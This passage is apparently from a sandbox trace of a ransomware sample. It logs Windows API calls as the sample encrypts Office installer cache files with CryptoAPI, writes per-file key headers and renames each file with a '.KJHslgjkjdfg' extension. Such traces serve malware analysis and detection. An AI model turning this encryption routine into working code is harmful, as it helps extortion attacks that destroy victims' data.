dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0133.619] GetProcessHeap () returned 0x2a0000 [0133.619] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0133.620] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0133.620] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0133.620] GetProcessHeap () returned 0x2a0000 [0133.620] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2a2) returned 0x2c7d50 [0133.620] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0133.621] GetFileSizeEx (in: hFile=0x114, lpFileSize=0x290f280 | out: lpFileSize=0x290f280*=11482605) returned 1 [0133.621] GetProcessHeap () returned 0x2a0000 [0133.621] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0133.621] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0133.621] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.621] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f26c*=0x3, lpOverlapped=0x0) returned 1 [0133.623] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f270 | out: phKey=0x290f270*=0x2c63a0) returned 1 [0133.624] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.624] GetProcessHeap () returned 0x2a0000 [0133.624] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0133.624] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f250*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f250*=0x30) returned 1 [0133.624] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0133.624] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f26c*=0x30, lpOverlapped=0x0) returned 1 [0133.624] WriteFile (in: hFile=0x114, lpBuffer=0x290f274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x290f274*, lpNumberOfBytesWritten=0x290f26c*=0x4, lpOverlapped=0x0) returned 1 [0133.624] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f26c*=0x10, lpOverlapped=0x0) returned 1 [0133.624] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f26c*=0x80, lpOverlapped=0x0) returned 1 [0133.624] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0133.624] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f26c*=0x8, lpOverlapped=0x0) returned 1 [0133.624] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f270 | out: phKey=0x290f270*=0x2c63a0) returned 1 [0133.624] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.625] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f240 | out: lpNewFilePointer=0x0) returned 1 [0133.625] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f234, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f234*=0x40000, lpOverlapped=0x0) returned 1 [0133.629] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000) returned 1 [0133.635] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.635] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f238*=0x40000, lpOverlapped=0x0) returned 1 [0133.636] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xaf36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.636] WriteFile (in: hFile=0x114, lpBuffer=0x290f240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x290f240*, lpNumberOfBytesWritten=0x290f238*=0x8, lpOverlapped=0x0) returned 1 [0133.636] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x290f240 | out: lpNewFilePointer=0x0) returned 1 [0133.636] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f234, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f234*=0x40000, lpOverlapped=0x0) returned 1 [0133.642] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000) returned 1 [0133.646] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.646] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f238*=0x40000, lpOverlapped=0x0) returned 1 [0133.647] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xaf36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.647] WriteFile (in: hFile=0x114, lpBuffer=0x290f240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x290f240*, lpNumberOfBytesWritten=0x290f238*=0x8, lpOverlapped=0x0) returned 1 [0133.647] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xab35f0, lpNewFilePointer=0x0, dwMoveMethod=0x290f240 | out: lpNewFilePointer=0x0) returned 1 [0133.647] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f234, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f234*=0x40000, lpOverlapped=0x0) returned 1 [0133.652] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000) returned 1 [0133.655] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xab35f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.655] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f238*=0x40000, lpOverlapped=0x0) returned 1 [0133.656] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xaf36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.656] WriteFile (in: hFile=0x114, lpBuffer=0x290f240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x290f240*, lpNumberOfBytesWritten=0x290f238*=0x8, lpOverlapped=0x0) returned 1 [0133.656] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0133.656] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xaf36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.656] SetEndOfFile (hFile=0x114) returned 1 [0133.660] GetProcessHeap () returned 0x2a0000 [0133.660] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0133.660] GetProcessHeap () returned 0x2a0000 [0133.660] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0133.660] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.kjhslgjkjdfg")) returned 1 [0133.661] CloseHandle (hObject=0x114) returned 1 [0133.661] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0133.661] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0133.661] GetProcessHeap () returned 0x2a0000 [0133.661] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0133.661] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0133.661] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0133.661] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0133.661] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.661] GetProcessHeap () returned 0x2a0000 [0133.661] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0133.662] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0133.662] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0133.662] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0133.664] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0133.664] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0133.664] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0133.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0133.664] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0133.664] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0133.664] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.664] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd5c00, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd5c00, lpOverlapped=0x0) returned 1 [0133.688] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd5c00, dwBufLen=0xd5c00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd5c00) returned 1 [0133.698] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.698] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd5c00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd5c00, lpOverlapped=0x0) returned 1 [0133.701] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0133.701] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd5cc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.701] SetEndOfFile (hFile=0x114) returned 1 [0133.704] GetProcessHeap () returned 0x2a0000 [0133.704] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0133.704] GetProcessHeap () returned 0x2a0000 [0133.704] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0133.704] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.kjhslgjkjdfg")) returned 1 [0133.720] CloseHandle (hObject=0x114) returned 1 [0133.721] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0133.721] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0133.721] GetProcessHeap () returned 0x2a0000 [0133.721] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0133.721] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0133.721] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0133.721] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0133.724] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0133.724] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.724] GetProcessHeap () returned 0x2a0000 [0133.724] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0133.724] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0133.724] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0133.724] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0133.724] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0133.725] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0133.725] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0133.725] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0133.725] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0133.725] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0133.725] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.725] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.725] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x543, lpOverlapped=0x0) returned 1 [0133.725] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x550, dwBufLen=0x550 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x550) returned 1 [0133.725] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.725] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x550, lpOverlapped=0x0) returned 1 [0133.725] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0133.726] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.726] SetEndOfFile (hFile=0x114) returned 1 [0133.728] GetProcessHeap () returned 0x2a0000 [0133.728] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0133.728] GetProcessHeap () returned 0x2a0000 [0133.728] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0133.728] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.kjhslgjkjdfg")) returned 1 [0133.733] CloseHandle (hObject=0x114) returned 1 [0133.733] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0133.733] GetProcessHeap () returned 0x2a0000 [0133.733] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0133.733] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0133.733] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f0a8 | out: pbData=0x2bf570, pdwDataLen=0x290f0a8) returned 1 [0133.733] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0133.733] GetProcessHeap () returned 0x2a0000 [0133.733] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0133.733] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0133.733] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f0a8 | out: pbData=0x2bf5b8, pdwDataLen=0x290f0a8) returned 1 [0133.733] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0133.733] GetProcessHeap () returned 0x2a0000 [0133.733] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f32d0 [0133.733] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0133.734] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f32d0, pdwDataLen=0x290f0a8 | out: pbData=0x2f32d0, pdwDataLen=0x290f0a8) returned 1 [0133.734] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0133.734] GetProcessHeap () returned 0x2a0000 [0133.734] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0133.734] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0133.734] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ec88 | out: pbData=0x2bf528, pdwDataLen=0x290ec88) returned 1 [0133.734] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0133.734] GetProcessHeap () returned 0x2a0000 [0133.734] 